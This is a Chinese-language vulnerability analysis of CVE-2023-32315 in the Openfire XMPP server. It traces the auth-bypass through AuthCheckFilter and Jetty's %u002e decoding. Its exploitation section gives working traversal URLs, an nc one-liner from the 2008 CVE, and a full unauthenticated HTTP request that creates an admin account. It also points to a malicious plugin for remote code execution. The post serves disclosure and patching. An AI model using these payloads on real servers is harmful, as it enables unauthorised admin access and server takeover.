由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
漏洞介绍
Openfire是一个实时协作(RTC)服务器,编写于Java,它使用唯一被广泛采用的即时通讯开放协议XMPP,并提供Web管理界面。
Openfire的API定义了一种机制,允许使用通配符实现灵活的URL模式匹配以将某些URL从Web认证中排除。并且由于Openfire使用到的Web服务器支持解析非标准的UTF-16字符URL编码变体,导致了路径遍历漏洞。通配符模式匹配与路径遍历漏洞的组合可以使攻击者绕过认证访问后台管理控制台,最终通过后台上传恶意插件能够实现远程代码执行,完全地控制服务器权限。
影响版本
>=3.10.0, <4.6.8
>=4.7.0, <4.7.5
漏洞分析
通配符模式匹配致使的鉴权绕过
Openfire的API定义了一种机制,可以将某些URL从Web认证中排除,此机制允许使用通配符,以实现灵活的URL模式匹配。在存在漏洞的4.7.4版本中, xmppserver/src/main/webapp/WEB-INF/web.xml配置文件的相关内容如下。
<filter>
<filter-name>AuthCheck</filter-name>
<filter-class>org.jivesoftware.admin.AuthCheckFilter</filter-class>
<init-param>
<param-name>excludes</param-name>
<param-value>
login.jsp,index.jsp?logout=true,setup/index.jsp,setup/setup-*,.gif,.png,error-serverdown.jsp,loginToken.jsp
</param-value>
</init-param>
</filter>
这里的本意是,符合如上列表中的文件,如登录页面、首次安装页面、静态图片/CSS文件等,请求它们,便排除在Web认证之外。
通过版本对比,可以发现在安全的4.7.5版本中,setup/index.jsp
和 setup/setup-*
已经被删除了。
Openfire的鉴权位于 org.jivesoftware.admin.AuthCheckFilter
类中的 doFilter鉴
权方法。
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) req;
HttpServletResponse response = (HttpServletResponse) res;
// Do not allow framing; OF-997
response.setHeader("X-Frame-Options", JiveGlobals.getProperty("adminConsole.frame-options", "SAMEORIGIN"));
// Reset the defaultLoginPage variable
String loginPage = defaultLoginPage;
if (loginPage == null) {
loginPage = request.getContextPath() + (AuthFactory.isOneTimeAccessTokenEnabled() ? "/loginToken.jsp" : "/login.jsp");
}
// Get the page we're on:
String url = request.getRequestURI().substring(1);
if (url.startsWith("plugins/")) {
url = url.substring("plugins/".length());
}
// See if it's contained in the exclude list. If so, skip filter execution
boolean doExclude = false;
for (String exclude: excludes) {
if (testURLPassesExclude(url, exclude)) {
doExclude = true;
break;
}
}
if (!doExclude) {
WebManager manager = new WebManager();
manager.init(request, response, request.getSession(), context);
boolean haveOneTimeToken = manager.getAuthToken() instanceof AuthToken.OneTimeAuthToken;
User loggedUser = manager.getUser();
boolean loggedAdmin = loggedUser == null ? false : adminManager.isUserAdmin(loggedUser.getUsername(), true);
if (!haveOneTimeToken && !loggedAdmin && !authUserFromRequest(request)) {
response.sendRedirect(getRedirectURL(request, loginPage, null));
return;
}
}
chain.doFilter(req, res);
}
在其中,可以看到如下片段代码,对 excludes列表进行循环,执行 testURLPassesExclude(url,exclude)方法的判断,若 testURLPassesExclude返回true,那么 doExclude的值也将为true,循环将会break,最终就能够成功实现鉴权绕过;否则当 doExclude为false时,便会跳转登录页面。
// See if it's contained in the exclude list. If so, skip filter execution
boolean doExclude = false;
for (String exclude: excludes) {
if (testURLPassesExclude(url, exclude)) {
doExclude = true;
break;
}
}
if (!doExclude) {
WebManager manager = new WebManager();
manager.init(request, response, request.getSession(), context);
boolean haveOneTimeToken = manager.getAuthToken() instanceof AuthToken.OneTimeAuthToken;
User loggedUser = manager.getUser();
boolean loggedAdmin = loggedUser == null ? false : adminManager.isUserAdmin(loggedUser.getUsername(), true);
if (!haveOneTimeToken && !loggedAdmin && !authUserFromRequest(request)) {
response.sendRedirect(getRedirectURL(request, loginPage, null));
return;
}
}
chain.doFilter(req, res);
这能够表明,testURLPassesExclude方法就是实现鉴权绕过的关键。
在对该方法做进一步分析前,先回顾一个十五年的漏洞。其实最早在2008年,v3.6.0版本的Openfire就已经出现过一次路径遍历漏洞,漏洞编号是CVE-2008-6508,该漏洞的POC如下。
GET /setup/setup-/../../log.jsp HTTP/1.1
官方在v3.6.1版本只考虑了对原始的..进行了判断和过滤,这样修复的并不彻底,如下经过URL编码的 ..的payload仍然能够进行绕过。
echo "GET /setup/setup-/%2E%2E/%2E%2E/log.jsp?log=info&mode=asc&lines=All" | nc localhost 9090
于是官方在v3.6.2版本中又对 %2e的情况进行了判断和过滤。
// v3.6.2
// src/java/org/jivesoftware/admin/AuthCheckFilter.java
public static boolean testURLPassesExclude(String url, String exclude) {
// ...
if (exclude.endsWith("*")) {
if (url.startsWith(exclude.substring(0, exclude.length() - 1))) {
// Now make sure that there are no ".." characters in the rest of the URL.
if (!url.contains("..") && !url.toLowerCase().contains("%2e")) {
return true;
}
}
}
// ...
return false;
}
这一段代码延续至今,在十几年后的4.7.4版本中依然没发生变化,4.7.4版本的 testURLPassesExclude方法内容如下,已省略部分无关代码。
public static boolean testURLPassesExclude(String url, String exclude) {
// ...
// in the URL and then the resulting url must exactly match the exclude rule. If the exclude ends with a "*"
// character then the URL is allowed if it exactly matches everything before the * and there are no ".."
// characters after the "*". All data in the URL before
if (exclude.endsWith("*")) {
if (url.startsWith(exclude.substring(0, exclude.length() - 1))) {
// Now make sure that there are no ".." characters in the rest of the URL.
if (!url.contains("..") && !url.toLowerCase().contains("%2e")) {
return true;
}
}
}
// ...
return false;
}
通过漏洞Reporter在CVE-2023-32315的GitHub Security Advisory中提供的poc/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp,可以发现这个路径恰恰是符合 excludes列表中的 setup/setup-*的通配符匹配。当二者共同传入进testURLPassesExclude方法中时,便能符合如上的几个判断,顺利返回true到 doExclude中,使 doExclude的值也为true,最终便成功的绕过 doExclude的鉴权,顺利到达Openfire的Jetty Web服务器,由其继续处理。
Jetty“新特性”致使的路径遍历
在早期版本的Openfire中,当时内置的Jetty Web服务器不支持解析 %u002e这种编码,所以当时的安全补丁简单的过滤 ..
和 %2e
,对于早期版本的Openfire是足够了的。
但是在之后版本的Openfire中,使用的Jetty Web服务器能够支持这种非标准的UTF-16字符URL编码变体,这种“新特性”导致原本的路径遍历漏洞又一次地出现在Openfire中,此处的“新”是相对而言。
Openfire v4.7.4中的Jetty版本为9.4.43.v20210629,请求路径的处理位于 org.eclipse.jetty.http.HttpURI类,跟进其中的 parse方法,来到它的末尾关键代码片段。
else if (_path != null)
{
// The RFC requires this to be canonical before decoding, but this can leave dot segments and dot dot segments
// which are not canonicalized and could be used in an attempt to bypass security checks.
String decodedNonCanonical = URIUtil.decodePath(_path);
_decodedPath = URIUtil.canonicalPath(decodedNonCanonical);
if (_decodedPath == null)
throw new IllegalArgumentException("Bad URI");
}
这段代码会调用 URIUtil.decodePath方法进行解码,然后使用 URIUtil.canonicalPath对解码后的路径做规范化处理。
解码路径的方法位于 org.eclipse.jetty.util.URIUtil#decodePath,完整内容如下。
public static String decodePath(String path, int offset, int length) {
try {
Utf8StringBuilder builder = null;
int end = offset + length;
for (int i = offset; i < end; i++) {
char c = path.charAt(i);
switch (c) {
case '%':
if (builder == null) {
builder = new Utf8StringBuilder(path.length());
builder.append(path, offset, i - offset);
}
if ((i + 2) < end) {
char u = path.charAt(i + 1);
if (u == 'u') {
// In Jetty-10 UTF16 encoding is only supported with UriCompliance.Violation.UTF16_ENCODINGS.
// This is wrong. This is a codepoint not a char
builder.append((char)(0xffff & TypeUtil.parseInt(path, i + 2, 4, 16)));
i += 5;
} else {
builder.append((byte)(0xff & (TypeUtil.convertHexDigit(u) * 16 + TypeUtil.convertHexDigit(path.charAt(i + 2)))));
i += 2;
}
} else {
throw new IllegalArgumentException("Bad URI % encoding");
}
break;
// ...
default:
if (builder != null)
builder.append(c);
break;
}
}
if (builder != null)
return builder.toString();
if (offset == 0 && length == path.length())
return path;
return path.substring(offset, end);
} catch (NotUtf8Exception e) {
LOG.debug(path.substring(offset, offset + length) + " " + e);
return decodeISO88591Path(path, offset, length);
} catch (IllegalArgumentException e) {
throw e;
} catch (Exception e) {
throw new IllegalArgumentException("cannot decode URI", e);
}
}
根据如上代码的逻辑,当传入 %u002e字符串到 decodePath方法时,它会对该字符串进行解码处理。
首先,方法进入循环,遍历字符串中的字符。
在循环中,遇到字符 %,表示接下来的字符是需要解码的。
方法检查接下来的字符是否为u。因为 %u002e中的 u是小写的,所以会执行以下代码块:
if (u == 'u') {
builder.append((char)(0xffff & parseInt(path, i + 2, 4, 16)));
i += 5;
}
方法调用 TypeUtil.parseInt方法解析四个字符 002e,并将解析结果作为一个字符添加到 builder中。这里的 TypeUtil.parseInt方法会将十六进制字符解析为对应的数值。
public static int parseInt(String s, int offset, int length, int base) throws NumberFormatException {
int value = 0;
if (length < 0)
length = s.length() - offset;
for (int i = 0; i < length; i++) {
char c = s.charAt(offset + i);
int digit = convertHexDigit((int) c);
if (digit < 0 || digit >= base)
throw new NumberFormatException(s.substring(offset, offset + length));
value = value * base + digit;
}
return value;
}
解析结果为 .的Unicode码点(0x002e)。
(char)(0xffff&TypeUtil.parseInt(path,i+2,4,16))将Unicode码点强制转换为一个字符,并将其添加到 builder中。
i+=5用于跳过解码的字符,即 %u002e中的 u002e。
循环继续,因为已经处理完 %u002e,下一个字符是正常字符.。
方法将 .直接添加到 builder中。
循环结束,根据 builder的内容生成一个新的字符串,并将其返回。
当然,也可以运行看看实际的结果,创建一个新项目,并导入如下版本的maven依赖。
<dependencies><!-- https://mvnrepository.com/artifact/org.eclipse.jetty/jetty-util -->
<dependency>
<groupId>org.eclipse.jetty</groupId>
<artifactId>jetty-util</artifactId>
<version>9.4.43.v20210629</version>
</dependency>
</dependencies>
然后编写如下代码。
package org.jetty;
import org.eclipse.jetty.util.URIUtil;
class Main {
public static void main(String[] args) {
String path = "/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp";
String decodedNonCanonical = URIUtil.decodePath(path);
System.out.println("decodedNonCanonical: " + decodedNonCanonical);
String decodedPath = URIUtil.canonicalPath(decodedNonCanonical);
if (decodedPath == null)
throw new IllegalArgumentException("Bad URI");
System.out.println("decodedPath: " + decodedPath);
}
}
首先URIUtil.decodePath
将 /setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp
解码为 /setup/setup-s/../../log.jsp
,接着 URIUtil.canonicalPath
方法将该路径规范化处理成 /log.jsp
。
在维基百科的说法中, %uxxxx
这种形式的编码是一种非标准的Unicode字符编码方式,其中xxxx表示一个UTF-16代码单元,由四个十六进制数字表示。这种行为没有被任何RFC规范指定,并且被W3C拒绝。
漏洞利用
路径遍历
在一个未登录Openfire的浏览器中,通过如下请求路径,如果显示部分日志文件则表明存在漏洞,如果重定向到登录页面,则表明无漏洞。
http://localhost:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp
未授权创建用户
创建一个账号和密码为admin2/admin2的管理员用户。
GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=Jm6f0wY78QMP8jj&username=admin2&name=admin2&email=admin2%40example.com&password=admin2&passwordConfirm=admin2&isadmin=on&create=Create+User HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Connection: close
Cache-Control: max-age=0
HTTP/1.1 200 OK
Connection: close
Date: Wed, 14 Jun 2023 06:47:48 GMT
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=utf-8
Set-Cookie: csrf=NX7COAs1lgRsMdd; Path=/; HttpOnly
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 6187
Exception:
……
插件上传实现RCE
登录如上创建的管理员用户,在后台添加恶意插件然后实现远程代码执行。恶意插件的实现可以是自己基于Openfire已有的插件进行二开,也可以使用如下恶意插件。
https://github.com/vulhub/openfire-fastpath-plugin
修复建议
目前厂商已升级了安全版本以修复这个安全问题,请到厂商的发布主页下载安全版本:
https://github.com/igniterealtime/Openfire/releases
参考
https://github.com/igniterealtime/Openfire/security/advisories/GHSA-gw42-f939-fhvm
https://igniterealtime.atlassian.net/browse/OF-2595
https://igniterealtime.atlassian.net/browse/JM-1489
https://en.wikipedia.org/wiki/URLencoding#Non-standardimplementation
https://github.com/vulhub/openfire-fastpath-plugin
安恒信息
✦
杭州亚运会网络安全服务官方合作伙伴
成都大运会网络信息安全类官方赞助商
武汉军运会、北京一带一路峰会
青岛上合峰会、上海进博会
厦门金砖峰会、G20杭州峰会
支撑单位北京奥运会等近百场国家级
重大活动网络安保支撑单位
END
长按识别二维码关注我们